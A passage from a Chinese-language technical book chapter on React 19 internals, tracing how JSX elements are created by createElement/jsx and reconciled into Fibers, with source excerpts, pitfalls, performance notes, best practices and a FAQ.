      if (elementType === REACT_FRAGMENT_TYPE) { ... }
      else if (child.elementType === elementType || /* hot reload / lazy 兼容 */ ...) {
        deleteRemainingChildren(returnFiber, child.sibling);
        const existing = useFiber(child, element.props);  // ② 复用 Fiber,换上新的 props
        if (enableOptimisticKey) existing.key = key;
        coerceRef(existing, element);                     // ③ 从 element.props.ref 取 ref
        existing.return = returnFiber;
        if (__DEV__) { existing._debugOwner = element._owner; existing._debugInfo = currentDebugInfo; }
        return existing;
      }
      deleteRemainingChildren(returnFiber, child);
      break;
    } else {
      deleteChild(returnFiber, child);  // key 不匹配 → 删旧的
    }
    child = child.sibling;
  }
  // 没复用成功 → 新建 Fiber
  if (element.type === REACT_FRAGMENT_TYPE) { ... }
  else {
    const created = createFiberFromElement(element, returnFiber.mode, lanes);  // ④ 用元素造 Fiber
    coerceRef(created, element);
    created.return = returnFiber;
    if (__DEV__) created._debugInfo = currentDebugInfo;
    return created;
  }
}

这里把"元素 → Fiber"的映射讲清楚了:

  1. key 来自 element.key(顶层字段,不是 props)——印证 2.3.2。
  2. type 相同 + key 相同 → useFiber 复用旧 Fiber,只把 element.props 换成新的 pendingProps——这是 React "可复用"优化的核心,第 4 章会展开。
  3. ref 来自 element.props.ref(19 新语义)——印证 2.10.1。
  4. 新建时 createFiberFromElement(element, ...)(ReactFiber.js)从元素的 type/key/props 创建 Fiber,并把 element._debugInfo 等调试信息顺带传入。

2.11.3 数组协调:reconcileChildrenArray(与 key 的关系)

数组协调(ReactChildFiber.js:1177-1369)是"key 为什么重要"的最佳注脚。它用 updateSlot(按 key/index 匹配旧 Fiber)、mapRemainingChildren(把剩余旧 Fiber 放入 Map<key, Fiber>)、updateFromMap(按 key 查表复用)完成"新旧对比"。整段逻辑完全依赖 element.key 来判断身份——一个没 key 的列表项只能退化为"索引匹配",一旦顺序变化就会误复用、引发状态错乱。第 4 章会逐行拆解该算法,本章只需记住:元素工厂里被提拔出来的 key,正是协调器赖以正确复用 Fiber 的"身份证"。

2.11.4 createFiberFromElement 做了什么(预告)

createFiberFromElement(ReactFiber.js)会从元素读出 element.type、element.key、element.props,创建一个对应 tag 的 Fiber,并把 element.props.ref 经 coerceRef 落到 workInProgress.ref。至此,"纯数据描述"正式变成"可工作的内部单元",进入 begin/commit 阶段。具体 Fiber 字段与生命周期,第 3 章展开。


2.12 边界场景与坑(实战向)

把本章所有"容易出错/容易误解"的点集中起来,每条都配源码依据。

2.12.1 props.key 永远读不到真实 key

原因:key 被提拔到元素顶层,props 上没有 key(即便有,也是 2.5.6 装的告警 getter)。想在组件内用 key,必须显式作为独立 prop 传入(如 <Item id={k} />),而非依赖 props.key。

2.12.2 单个 child 不是数组

<A><B/></A> 的 props.children 是单个元素;<A><B/><C/></A> 才是数组。写 props.children.map(...) 前务必先 React.Children.toArray(props.children) 或 React.Children.map,否则单 child 会抛 children.map is not a function。

2.12.3 嵌套数组会被当成"单个 child"

<A>{[<B/>, <C/>]}</A> 中 props.children 是"一个数组",对 A 而言是单个 child。这会绕过"列表 key"告警,且协调时该数组会被当作一个 Fragment 处理(见 ReactChildFiber.js:1923 的 isArray(newChild) 分支,会被包成 Fragment Fiber)。推荐直接写 <A><B/><C/></A> 让 createElement 正确收集为 props.children 数组,或使用 React.Children.toArray 规范化。

2.12.4 React.Children.map 会改变 key

见 2.8.5。需要保留语义 key 时,谨慎使用 map,或接受其规范化后的复合 key。

2.12.5 cloneElement 的 ref 与浅合并

见 2.9.3、2.9.4。19 已通过"ref 即 props"大幅缓解 ref 丢失,但浅合并会把对象型 props(如 style)整体替换而非合并。

2.12.6 defaultProps 对函数组件不可靠

见 2.10.2。即便 19.3.1 的 createElement legacy 循环仍会合并,函数组件不应依赖它,改用解构默认值。

2.12.7 isValidElement 是跨包安全的

因为用全局 Symbol 比较,多份 React 拷贝下仍能正确识别"自己人"的元素(2.4 节)。但要注意:REACT_LEGACY_ELEMENT_TYPE(react.element)会被识别为"老版本元素"并报错,提示多份 React 拷贝问题。

2.12.8 key 必须可字符串化

checkKeyStringCoercion(CheckStringCoercion.js:91-102)会在开发期拦截无法被 '' + key 安全转成字符串的 key(如 Symbol、某些 Temporal 对象),报友好错误。所以别用 Symbol 当 key(除非是内部的 REACT_OPTIMISTIC_KEY,那由 React 自己用)。

2.12.9 元素是冻结的(开发期)

Object.freeze(element) 与 Object.freeze(element.props)(ReactJSXElement.js:276-279)使元素不可变。任何"拿到元素后改它的 props"的代码在开发期会抛错。正确做法是重新 jsx/createElement/cloneElement。

2.12.10 Fragment 的 key

<></>(空 Fragment)无法带 key,因为它没有语法位置。需要 key 时写 <React.Fragment key={k}>...</React.Fragment>。空 Fragment 顶层无 key 且无 ref 时,协调器会把它"当作数组"处理(ReactChildFiber.js:1872-1882 的 isUnkeyedUnrefedTopLevelFragment),这是 19 对"顶层 <>{...}</> 与 <>...</> 歧义"的统一处理。


2.13 性能影响:元素创建的成本与优化

2.13.1 元素创建是"热路径上的纯对象分配"

每次渲染,组件函数体每返回一个 JSX,背后就是一次 jsx/createElement → ReactElement 的对象分配。大型应用一次渲染可能创建上万个元素对象。因此 React 在这条路径上做了大量微优化:

  • 跳过 delete(2.5.3):用"新建 + 拷贝"替代删除保留字段,避免 V8 对象 dictionary-mode 退化。
  • jsx 复用 config(ReactJSXElement.js:323-333):编译器保证传入新对象时,无 key spread 就直接复用,省一次拷贝。
  • REACT_ELEMENT_TYPE 用 Symbol.for:比较是 === 引用比较,O(1) 无字符串计算。
  • 开发期 ownerStackTraceLimit = 10(ReactJSXElement.js:67)+ recentlyCreatedOwnerStacks 计数器:只有前若干次创建元素才抓真实栈,其余复用 unknownOwnerDebugStack,避免每次 Error() 都构造深栈(2.5.7)。
  • 静态 children 冻结(ReactJSXElement.js:497-499):jsxDEV 对静态 children 数组 Object.freeze,使协调器可安全地认为"这数组不会被外部改动"。

2.13.2 key 字符串化与转义的成本

' ' + config.key(ReactJSXElement.js:318 等)以及 React.Children 里的 escape/escapeUserProvidedKey(ReactChildren.js:41-65)都涉及字符串拼接与正则替换。在"海量列表项"场景下,这些字符串操作是可见开销。优化方向:

  • 给列表项用短而稳定的 key(如数据库 id),避免超长字符串 key。
  • 不要在 render 中动态生成复杂对象当 key——checkKeyStringCoercion 会在开发期额外校验,且拼接长 key 拖慢协调。

2.13.3 Object.freeze 的成本与收益

开发期冻结元素及其 props(ReactJSXElement.js:276-279)有成本(冻结本身是 O(n) 字段操作),但换来"不可变性保证"——保证了后续协调阶段可以安全地复用元素对象引用、用 === 快速判断 props 是否变化(bailout 优化)。生产环境不冻结(走 else 分支直接返回对象),把性能让给运行时,把安全性留给开发期。

2.13.4 React.Children 的递归成本

mapIntoArray 是递归遍历 + 克隆 + key 重分配,复杂度约为 O(叶子节点数)。对"超深嵌套 children"或"超大列表",React.Children.map 的开销不可忽略。实践建议:

  • 不需要改结构就别用 map;count/forEach 更轻(但仍递归)。
  • 超大列表的"扁平化"尽量在数据层做(先把数据拍平),而不是在 children 层用 React.Children.toArray。

2.13.5 defaultProps 的 for-in 成本

createElement 的 legacy defaultProps 循环(ReactJSXElement.js:703-711)对每个创建的元素都做一次 for...in,且可能 assign 出一个新 props。对函数组件,这正是 React 19 推荐解构默认值(零成本)替代它的原因。类组件的 resolveClassComponentProps(ReactFiberClassComponent.js:1204-1217)同样有 for-in,但因类组件通常数量远少于函数组件且需要支持 legacy API,保留可接受。


2.14 用法与最佳实践(结合源码"为什么这样才对")

  1. 永远手写稳定的 key:因为协调器 reconcileChildrenArray(ReactChildFiber.js:1177)完全靠 element.key 复用 Fiber;无 key 退化成索引匹配,列表重排会状态错乱。
  2. key 直接写在 JSX 上,不要 spread:<Item key={id} {...rest} />,避免 jsxDEV 的 key-spread 告警(ReactJSXElement.js:513-537)与优先级歧义。
  3. 不要在组件内读 props.key:它读不到,且开发期告警(2.5.6)。需要 key 信息时,把它作为独立 prop(如 id)传入。
  4. 函数组件用解构默认值替代 defaultProps:零成本、语义清晰,且是 React 19 官方路线(2.10.2)。
  5. 函数组件直接用 ref 参数(React 19):function Input({ref}) {...},不再必须 forwardRef(2.10.1)。
  6. 不要修改已创建的元素:元素开发期被冻结;要改就重新 jsx/cloneElement。
  7. 处理 children 用 React.Children 而非假设数组:toArray/map/forEach/count 统一了"单个/数组/嵌套/可迭代"的差异(2.8 节)。注意 map 会重分配 key。
  8. cloneElement 改 props 是浅合并:合并对象型 prop(如 style)需自行展开。
  9. 判断"是不是元素"用 isValidElement,别用 instanceof 或检查 type 字段(2.4、2.7)。
  10. Fragment 需要 key/ref 时写全 <React.Fragment key=...>,空 <></> 无法携带。

正反例:

// ❌ 反例:key 写在对象里 spread,触发告警且优先级混乱
const props = {key: id, name};
return <Item {...props} />;

// ✅ 正例
return <Item key={id} name={name} />;

// ❌ 反例:函数组件用 defaultProps
function Card(props) {}
Card.defaultProps = { title: 'N/A' };

// ✅ 正例
function Card({title = 'N/A'}) { return <h2>{title}</h2>; }

// ❌ 反例:假设 children 一定是数组
function List({children}) { return <ul>{children.map(c => <li>{c}</li>)}</ul>; }

// ✅ 正例
function List({children}) {
  return <ul>{React.Children.map(children, c => <li>{c}</li>)}</ul>;
}

2.15 实战端到端追踪:从一行 JSX 到 Fiber 的完整旅程

为了把前面所有零散的知识点串成一条线,本节用一个具体、可运行、对照源码的例子,完整追踪"一行 JSX 如何最终变成一个能被复用的 Fiber 节点"。这是把"元素是什么"和"下一章 Fiber 是什么"焊死的关键一跃。

2.15.1 起点代码

function App() {
  const items = ['a', 'b'];
  return (
    <ul className="list">
      {items.map(it => (
        <li key={it}>{it}</li>
      ))}
    </ul>
  );
}

假设 items = ['a', 'b']。我们追踪 App 的一次渲染。

2.15.2 第 1 步:编译器把 JSX 转译成 jsx 调用

在 automatic runtime(假设开发期)下,上述 return 大致被转译为:

import {jsxs, jsx} from 'react/jsx-runtime';
import {Fragment} from 'react/jsx-runtime';

return jsxs('ul', {
  className: 'list',
  children: items.map(it =>
    // 列表项用 jsx(动态单 children)
    jsx('li', {children: it}, it)   // 第三个参数 it 就是 key
  ),
});

注意三处与本章强相关的细节:

  1. 外层 <ul> 用 jsxs(静态多 children),内层 <li> 用 jsx(动态)。
  2. <li key={it}> 的 key 被编译器提升为 jsx 的第三参 it(maybeKey),而不是塞进 config——这正是 jsxProd/jsxDEVImpl 里 maybeKey 的来源(ReactJSXElement.js:300-309)。
  3. children 已经作为 config 字段就位,jsx 路径不会再做 createElement 式的"多参数收集"。

2.15.3 第 2 步:jsx 工厂生产元素对象

以 <li key={it}>{it}</li>(此时 it === 'a')为例,jsx('li', {children:'a'}, 'a') 进入 jsxDEV(开发期)→ jsxDEVImpl:

  • maybeKey = 'a' → key = '' + 'a' = 'a'(ReactJSXElement.js:547-555)。checkKeyStringCoercion 在开发期确认 'a' 可安全字符串化。
  • config 无 key spread → props = config(直接复用,性能优化,ReactJSXElement.js:570-580)。
  • key 为真 → 在 props 上装 defineKeyPropWarningGetter 告警访问器(:594-600)。
  • 调用 ReactElement('li', 'a', {children:'a'}, getOwner(), debugStack, debugTask)。

得到的元素 eLiA:

{
  $$typeof: Symbol(react.transitional.element),  // 防伪标签(2.4)
  type: 'li',                                     // 宿主组件
  key: 'a',                                       // 顶层 key,非 props
  props: {children: 'a'},                         // children 在 props 里
  ref: null,                                      // 19 中来自 props.ref,此处无
  _owner: <App 的 owner>,                         // 开发期:谁渲染的我
  _store: {validated: 0},                         // 开发期
  // ... 其他 debug 字段
}

外层 jsxs('ul', {...}) 同理得到 eUl,其 props.children 是 [eLiA, eLiB] 这样一个元素数组(每个元素都带自己的 key)。

2.15.4 第 3 步:协调器消费 eUl

当 App 的 Fiber 进入 begin 阶段、App() 返回 eUl 后,Reconciler 调用 reconcileChildren → reconcileChildFibersImpl(ReactChildFiber.js:1854):

// newChild === eUl,typeof 为 object,$$typeof === REACT_ELEMENT_TYPE
switch (newChild.$$typeof) {
  case REACT_ELEMENT_TYPE:
    return placeSingleChild(reconcileSingleElement(returnFiber, currentFirstChild, eUl, lanes));
}

reconcileSingleElement(ReactChildFiber.js:1703):

  1. 读 key = eUl.key(此处 eUl.key === null,因为没写 key)。
  2. 若已有旧 Fiber 且 child.key === key && child.elementType === 'ul' → useFiber 复用;否则新建。
  3. 因为是 <ul>(宿主组件),createFiberFromElement(eUl, mode, lanes) 创建 fUl,coerceRef 从 eUl.props.ref(无)取 ref,fUl.return = returnFiber。

接着递归协调 fUl 的 children,即 eUl.props.children = [eLiA, eLiB],进入 reconcileChildrenArray(ReactChildFiber.js:1177):

  • 对 eLiA:updateSlot 读到 element.key === 'a',在旧 Fiber 表里按 key 'a' 查找 → 命中则 useFiber 复用 fLiA 并换上新 pendingProps = {children:'a'};否则新建 fLiA。
  • 对 eLiB:同理按 key === 'b' 复用/新建 fLiB。
  • 因为两者 key 稳定,即便列表重排(如变成 ['b','a']),Reconciler 仍能按 key 把 DOM 节点移动到正确位置,而不是销毁重建——这就是 2.11/2.12.1 反复强调"手写稳定 key"的底层回报。

2.15.5 第 4 步:从元素到真实 DOM(commit,点到为止)

fUl、fLiA、fLiB 在 commit 阶段由渲染器(React DOM)创建为真实 <ul>/<li> 节点并插入容器。注意:元素对象 eUl/eLiA/eLiB 在协调完成后即被丢弃(它们是一次性的纯数据),而 Fiber fUl/fLiA/fLiB 会跨渲染持续存在,成为下一次更新时"复用判断"的依据。

2.15.6 一张时序图

sequenceDiagram
    participant Babel as 编译器
    participant JSX as jsx/jsxDEV<br/>(ReactJSXElement.js)
    participant RE as ReactElement 工厂
    participant Recon as Reconciler<br/>(ReactChildFiber)
    participant Fiber as Fiber 节点
    participant DOM as 渲染器(commit)

    App()-->>Babel: 返回 JSX
    Babel->>JSX: jsx('li',{children:'a'},'a') 等
    JSX->>RE: 传入 (type,key,props,owner)
    RE-->>JSX: 元素对象($$typeof/type/key/props)
    JSX-->>App(): 返回 eUl(props.children=[eLiA,eLiB])
    App()-->>Recon: 把 eUl 作为子节点
    Recon->>Recon: reconcileSingleElement(eUl)
    Recon->>Fiber: createFiberFromElement(eUl)
    Recon->>Recon: reconcileChildrenArray([eLiA,eLiB])
    Recon->>Fiber: 按 key 复用/新建 fLiA/fLiB
    Fiber-->>DOM: commit 阶段创建真实节点
    Note over RE,Fiber: 元素=一次性数据;Fiber=跨渲染复用单元

2.15.7 本例对本章知识点的回扣

  • 不可变纯数据:eLiA/eUl 在协调后即弃,无任何 DOM 引用(2.3)。
  • $$typeof 防伪:reconcileChildFibersImpl 靠它分派,杜绝伪元素(2.4)。
  • key 提拔 + 字符串化:it 从第三参变顶层 key='a'(2.5.3、2.6.2)。
  • children 在 props 上:props.children 是数组(2.5.4)。
  • ref 即 props.ref:coerceRef 读 element.props.ref(2.10.1)。
  • React.Children 缺席时靠 reconcileChildrenArray 处理数组:它自己会做 key 归一与复用(2.8、2.11.3)。
  • defaultProps 无关:函数组件 App 没用 defaultProps,走解构默认值路线(2.10.2)。

这一追踪也自然引出下一章的主题:Fiber 节点的内部结构、链表如何串起整棵树、以及 useFiber/alternate 双缓冲如何实现"可中断、可复用"的并发渲染。

文件函数 / 符号行号(约)作用
packages/react/src/jsx/ReactJSXElement.jsReactElement170-283元素的工厂函数,生产不可变元素对象
同上$$typeof / REACT_ELEMENT_TYPE 写入190 / 229防伪标签(见 2.4)
同上ref 处理(prod 顶层 / dev 访问器)175-238ref 即 props.ref 的 19 语义
同上_store/_debugInfo/_debugStack/_debugTask245-280开发期调试字段 + 冻结
同上createElement610-746经典 JSX 工厂,config 拆分 + children 归一化
同上jsxProd291-348自动转换生产路径核心
同上jsxDEV / jsxDEVImpl441-604开发期工厂,含 key spread 告警等
同上cloneElement770-854克隆元素,覆盖 props/key/ref
同上cloneAndReplaceKey748-764只换 key 的轻量克隆(React.Children 用)
同上isValidElement891-897跨包安全的元素判断(Symbol ===)
同上validateChildKeys864-882标记静态位置子元素已校验,规避 key 告警
同上hasValidKey / hasValidRef109-119 / 97-107预留/保留字段判断
同上defineKeyPropWarningGetter121-141props.key 访问告警陷阱
同上elementRefGetterWithDeprecationWarning143-160element.ref 废弃告警
同上getOwner50-59取当前组件 owner(dev)
packages/react/src/jsx/ReactJSX.jsjsx/jsxs/jsxDEV 分流17-28根据 __DEV__ 选择实现
packages/react/src/children/ReactChildren.jsmapIntoArray155-349所有 Children API 的递归引擎 + key 重分配
同上getElementKey / escape / escapeUserProvidedKey74-93 / 41-53 / 62-65key 提取与转义
同上mapChildren / countChildren / forEachChildren / toArray / onlyChild366-463公开 API
packages/shared/ReactSymbols.jsREACT_ELEMENT_TYPE / REACT_LEGACY_ELEMENT_TYPE15-18防伪 + 版本隔离 Symbol
同上REACT_OPTIMISTIC_KEY69-71乐观 key 符号(19 新)
packages/shared/CheckStringCoercion.jscheckKeyStringCoercion91-102key 字符串化安全校验
packages/react/index.js导出 createElement/cloneElement/isValidElement/Children 等27-77React 公开 API 出口
packages/react/src/ReactBaseClasses.jsComponent / PureComponent19-146类组件基类(实例来源)
packages/react-reconciler/src/ReactChildFiber.jsreconcileChildFibersImpl1854+元素 → Fiber 的协调入口
同上reconcileSingleElement1703-1806单元素协调(读 key/type/props.ref)
同上reconcileChildrenArray1177-1369数组协调(key 决定复用)
同上createChild / updateElement / coerceRef710-840 / 580-636 / 291-299创建 Fiber / 更新 / ref 提取
同上throwOnInvalidObjectType301-335非元素对象报错(含多份 React 检测)
同上warnForMissingKey152-228缺少 key 的告警(依赖 _store.validated)
packages/react-reconciler/src/ReactFiberClassComponent.jsresolveClassComponentProps1187-1220类组件权威 defaultProps 解析
packages/react-reconciler/src/ReactFiberBeginWork.jsupdateFunctionComponent1453-1562函数组件渲染(信任元素 props)
同上mountIndeterminateComponent(propsWithoutRef 段)420-477初判函数/类组件,剥离 ref
packages/react/jsx-runtime.js导出 jsx/jsxs/Fragment9自动转换运行时入口

2.16 自测 FAQ(高频疑问精答)

Q1:React.createElement 会创建 DOM 吗? 不会。它只返回一个普通对象(元素)。真实 DOM 在很久之后的 commit 阶段由渲染器创建(ReactDOM/ReactNative 等)。createElement 是纯数据工厂,零副作用。

Q2:$$typeof 到底防什么? 防"跨信任边界(网络 JSON、localStorage、URL)注入伪装元素"。JSON 无法表示 Symbol,所以攻击者无法伪造出 $$typeof === REACT_ELEMENT_TYPE(Symbol)的对象,从而无法骗 React 去渲染任意组件/传入恶意 props。

Q3:为什么 props.key 是 undefined? 因为 key 被从 config/props 中提拔成了元素对象的顶层字段(ReactJSXElement.js:656-665),不在 props 上。开发期访问 props.key 还会触发告警 getter。

Q4:cloneElement(<X ref={r}/>, {id:1}) 在 React 19 会丢 ref 吗? 不会。React 19 中 ref 是普通 prop,assign({}, element.props) 会把它带入新 props。这是 19 相对 18 修复的经典坑。但该克隆是浅合并,对象型 prop 会被整体替换。

Q5:函数组件还能用 defaultProps 吗? 源码层:createElement 的 legacy 循环仍会对所有 type 合并 defaultProps;但 React 19 官方已不推荐函数组件使用,协调器对函数组件也不再做权威 defaultProps 解析。推荐改用具零成本的"解构默认值"。类组件仍支持。

Q6:React.Children.map 后 key 为什么变成怪异字符串? mapIntoArray 会为每个叶子调用 cloneAndReplaceKey,用"带层级前缀 + 原 key/索引"的复合 key 替换原 key(如 .$.0:1/foo),以保证扁平化后全局唯一。这是预期行为,不是 bug。

Q7:<A>{[<B/>,<C/>]}</A> 和 <A><B/><C/></A> 一样吗? 对 A 的 props.children 形态而言,两者最终结果都是"一个包含两个元素的数组"——因为 createElement 会把多参数 children 收成数组。但前者是"你手动包了一层数组",协调时该数组会被当作单个 child(进一步被包成 Fragment);后者是标准多 child。推荐后者。

Q8:怎么判断一个变量是不是 React 元素? 用 React.isValidElement(x),它做 x.$$typeof === REACT_ELEMENT_TYPE 的严格比较。不要用 instanceof(元素不是 class 实例),也不要只检查有没有 type/props 字段(不够防伪)。

Q9:React 19 的 ref 到底是不是 props 了? 是。ref 现在就是 props.ref("ref 成为普通 prop")。元素工厂以 props.ref 为真相,coerceRef 也读 element.props.ref。forwardRef 在新版仍可用但已非必需;直接 function Input({ref}){} 即可。

Q10:key 一定要是字符串吗?能用数字/Symbol 吗? key 会被强制字符串化('' + key),所以数字 key 会被转成对应字符串。但不要用 Symbol(除 React 内部的 REACT_OPTIMISTIC_KEY)当 key——开发期的 checkKeyStringCoercion 会拦截无法安全转字符串的 key 并报错。

Q11:为什么 createElement 不警告 key spread,而 jsxDEV 警告? 历史兼容性:createElement 长期允许 <div {...props}/>;jsx 是编译器产物更应严格,所以 jsxDEVImpl 对 key 被 spread 进 props 报 console.error(ReactJSXElement.js:513-537)。

Q12:元素是 mutable 还是 immutable? 开发期被 Object.freeze 冻结(元素及其 props),是不可变的;生产期不冻结(为了性能)但仍应视为逻辑不可变——任何"改已有元素"的做法都应改为重新创建。


2.17 ReactElement 构造函数逐行拆解:一个元素到底长什么样

(注:React 19.3.1 中 createElement / jsx / cloneElement / isValidElement 已全部合并到 packages/react/src/jsx/ReactJSXElement.js,不再有独立的 ReactElement.js。下面引用的行号均以此文件为准。)

前面章节反复强调"元素是不可变的纯数据快照"。这句话的源码依据就在这个构造函数里:

packages/react/src/jsx/ReactJSXElement.js:170

function ReactElement(type, key, props, owner, debugStack, debugTask) {
  // Ignore whatever was passed as the ref argument and treat `props.ref` as
  // the source of truth. The only thing we use this for is `element.ref`,
  // which will log a deprecation warning on access. In the next release, we
  // can remove `element.ref` as well as the `ref` argument.
  const refProp = props.ref;

  // An undefined `element.ref` is coerced to `null` for
  // backwards compatibility.
  const ref = refProp !== undefined ? refProp : null;

第一段就揭示了 React 19 的 ref 变革:props.ref 才是真相来源,构造函数的 ref 参数只用于向后兼容 element.ref(且访问它会打废弃告警)。这就是第 13 章"ref 作为普通 prop"在元素层的落点——ref 已经不在元素的保留字段里,它就是 props 的一个普通属性。

1. DEV 与生产的两种元素形状

  let element;
  if (__DEV__) {
    // In dev, make `ref` a non-enumerable property with a warning. It's non-
    // enumerable so that test matchers and serializers don't access it and
    // trigger the warning.
    element = {
      $$typeof: REACT_ELEMENT_TYPE,
      type,
      key,
      props,
      // Record the component responsible for creating this element.
      _owner: owner,
    };
    if (ref !== null) {
      Object.defineProperty(element, 'ref', {
        enumerable: false,
        get: elementRefGetterWithDeprecationWarning,
      });
    } else {
      Object.defineProperty(element, 'ref', {
        enumerable: false,
        value: null,
      });
    }
  } else {
    // In prod, `ref` is a regular property and _owner doesn't exist.
    element = {
      $$typeof: REACT_ELEMENT_TYPE,
      type,
      key,
      ref,
      props,
    };
  }

对比两种形状:

字段DEV生产说明
$$typeof✓✓身份标记,防 JSON 注入
type✓✓字符串(宿主标签)或函数/对象(组件)
key✓✓协调复用的身份
props✓✓含 children,DEV 下被冻结
ref非枚举 + 访问告警普通属性React 19 起真相在 props.ref
_owner✓✗谁创建了这个元素(支撑报错定位)
_store / _debugInfo / _debugStack / _debugTask✓✗DEV 调试信息

生产环境元素只有 5 个字段,这是一个重要的性能事实:元素对象非常轻,创建成本极低。所谓"JSX 很贵"的说法在元素层面并不成立——真正的成本在后面的协调与 commit。

2. DEV 期的调试字段与冻结

  if (__DEV__) {
    // The validation flag is currently mutative. We put it on
    // an external backing store so that we can freeze the whole object.
    element._store = {};

    Object.defineProperty(element._store, 'validated', {
      configurable: false,
      enumerable: false,
      writable: true,
      value: 0,
    });
    // debugInfo contains Server Component debug information.
    Object.defineProperty(element, '_debugInfo', { ... value: null });
    Object.defineProperty(element, '_debugStack', { ... value: debugStack });
    Object.defineProperty(element, '_debugTask', { ... value: debugTask });
    if (Object.freeze) {
      Object.freeze(element.props);
      Object.freeze(element);
    }
  }

三点值得注意:

  1. _store.validated 为什么要外挂:因为元素整体要被 Object.freeze,而校验标记是可变的。源码注释原文说明了这个取舍("so that we can freeze the whole object"),并注明"等 WeakMap 普及后可替换"。
  2. Object.freeze(element.props) 与 Object.freeze(element) 只在 DEV:这是"元素不可变"在开发期能被强制执行的原因。生产环境不冻结是为了性能(冻结会阻碍引擎优化,且冻结本身有开销)。
  3. _debugStack / _debugTask 是 owner 栈的载体:它们让 React 能在 DEV 下回答"这个元素是谁写的",也就是第 14B 章讲的 owner 栈。

由此得到一个非常实用的排查经验:在开发环境里 element.props.foo = 1 会静默失败(严格模式下抛 TypeError),而生产环境会成功但毫无效果(因为协调器读的是旧引用)。如果你发现"改了 props 但没生效",先确认是不是在 DEV 下撞上了冻结。

3. element.ref 的访问告警

elementRefGetterWithDeprecationWarning(ReactJSXElement.js:143)是一个 getter,任何读取 element.ref 的行为都会触发废弃告警。它做成非枚举(enumerable: false)是为了让 Jest 这类序列化器不会无意中读到它:

源码注释原文:

    // Don't warn on access if a ref is not given. This reduces false
    // positives in cases where a test serializer uses
    // getOwnPropertyDescriptors to compare objects, like Jest does, which is
    // a problem because it bypasses non-enumerability.

这是一处非常典型的"为了不打扰测试而做的工程妥协",也解释了为什么你在某些测试里会看到莫名的 ref 告警。


2.18 createElement 逐行拆解:config 是怎么被拆开的

packages/react/src/jsx/ReactJSXElement.js:610

export function createElement(type, config, children) {
  if (__DEV__) {
    // We don't warn for invalid element type here because with owner stacks,
    // we error in the renderer. ...
    for (let i = 2; i < arguments.length; i++) {
      validateChildKeys(arguments[i]);
    }

    // Unlike the jsx() runtime, createElement() doesn't warn about key spread.
  }

  let propName;

  // Reserved names are extracted
  const props = {};

  let key = null;

  if (config != null) {

1. 过时的 JSX transform 检测

    if (__DEV__) {
      if (
        !didWarnAboutOldJSXRuntime &&
        '__self' in config &&
        // Do not assume this is the result of an oudated JSX transform if key
        // is present, because the modern JSX transform sometimes outputs
        // createElement to preserve precedence between a static key and a
        // spread key. To avoid false positive warnings, we never warn if
        // there's a key.
        !('key' in config)
      ) {
        didWarnAboutOldJSXRuntime = true;
        console.warn(
          'Your app (or one of its dependencies) is using an outdated JSX ' +
            'transform. ...'
        );
      }
    }

这段解释了那条常见的黄色警告的触发条件:config 里有 __self 但没有 key。为什么有 key 就不报?因为现代 transform 在处理"静态 key 与展开 key 的优先级"时,有时会退化成调用 createElement。这是避免误报的精确判据。

2. key 提取与乐观 key

    if (hasValidKey(config)) {
      if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {
        key = REACT_OPTIMISTIC_KEY;
      } else {
        if (__DEV__) {
          checkKeyStringCoercion(config.key);
        }
        key = '' + config.key;
      }
    }

两个关键事实:

  • key 会被强制转成字符串('' + config.key)。所以 key={1} 与 key="1" 等价,而 key={{}} 会变成 "[object Object]"——这正是"所有元素 key 都撞在一起"这类诡异 bug 的来源。DEV 下 checkKeyStringCoercion 会对可疑类型告警。
  • REACT_OPTIMISTIC_KEY 是一个特殊哨兵(enableOptimisticKey 开关下)。它用于 <Activity>/乐观更新场景,让协调器知道这个 key 是"乐观分配"的,不参与常规复用判定。

3. 保留属性的过滤

    // Remaining properties are added to a new props object
    for (propName in config) {
      if (
        hasOwnProperty.call(config, propName) &&
        // Skip over reserved prop names
        propName !== 'key' &&
        // Even though we don't use these anymore in the runtime, we don't want
        // them to appear as props, so in createElement we filter them out.
        // We don't have to do this in the jsx() runtime because the jsx()
        // transform never passed these as props; it used separate arguments.
        propName !== '__self' &&
        propName !== '__source'
      ) {
        props[propName] = config[propName];
      }
    }

注意最后那条注释:jsx() 运行时不需要过滤 __self / __source,因为它们从来不是作为 props 传入的,而是作为独立参数。这正是新旧 transform 的差异之一:

维度createElement(classic runtime)jsx / jsxs(automatic runtime)
children 传法可变参数(第 3 个起)放在 config.children 里
key 传法config.key独立的 maybeKey 参数
__self / __source混在 config 里,需过滤独立参数,不进 props
是否过滤保留属性需要不需要(本来就不混进来)
静态 children 优化无jsxs(static children)走更快路径

4. children 归一化

  // Children can be more than one argument, and those are transferred onto
  // the newly allocated props object.
  const childrenLength = arguments.length - 2;
  if (childrenLength === 1) {
    props.children = children;
  } else if (childrenLength > 1) {
    const childArray = Array(childrenLength);
    for (let i = 0; i < childrenLength; i++) {
      childArray[i] = arguments[i + 2];
    }
    if (__DEV__) {
      if (Object.freeze) {
        Object.freeze(childArray);
      }
    }
  • 只有一个 children → 直接挂在 props.children 上(不是数组!)。这就是为什么 props.children 的类型是"单元素 或 数组"——也是 React.Children 必须存在的原因。
  • 多个 children → 建数组,DEV 下冻结。
  • 零个 children → props.children 根本不存在(undefined)。

由此得到一条实战规则:永远不要假设 props.children 是数组。要么用 React.Children.map(它内部统一处理),要么用 React.Children.toArray 归一化后再用数组方法。


2.19 三种 JSX 运行时:编译产物对照

同一个 JSX 节点 <div className="x">hi</div> 在不同 transform 下的产物:

classic runtime(React.createElement):

React.createElement("div", { className: "x" }, "hi");

automatic runtime,生产(jsxProd,ReactJSXElement.js:291):

import { jsx as _jsx } from "react/jsx-runtime";
_jsx("div", { className: "x", children: "hi" });

automatic runtime,开发(jsxDEV,:441):

import { jsxDEV as _jsxDEV } from "react/jsx-dev-runtime";
_jsxDEV("div", { className: "x", children: "hi" }, void 0, false, {
  fileName: _jsxFileName, lineNumber: 12
}, this);

jsxDEV 多出的参数(isStaticChildren、source、self)就是 DEV 报错能精确指向"哪个文件哪一行"的原因。而 jsxProd 的签名在同一个文件里被分成了三个(jsxProd 291、jsxProdSignatureRunningInDevWithDynamicChildren 362、jsxProdSignatureRunningInDevWithStaticChildren 398),用于在 DEV 环境下以生产签名运行时仍能收集调试信息——这是 React 仓库自己测试生产行为时用的技巧。

为什么 React 19 推荐 automatic runtime

  1. 不需要在文件里 import React,减少 bundle 与心智负担。
  2. children 作为普通属性传入,避免了可变参数的 arguments 遍历(更快)。
  3. key 作为独立参数,无需从 config 里提取、也无需过滤保留属性。
  4. 静态 children 可走 jsxs 快路径。

2.20 特殊 type 一览:$$typeof 家族全表

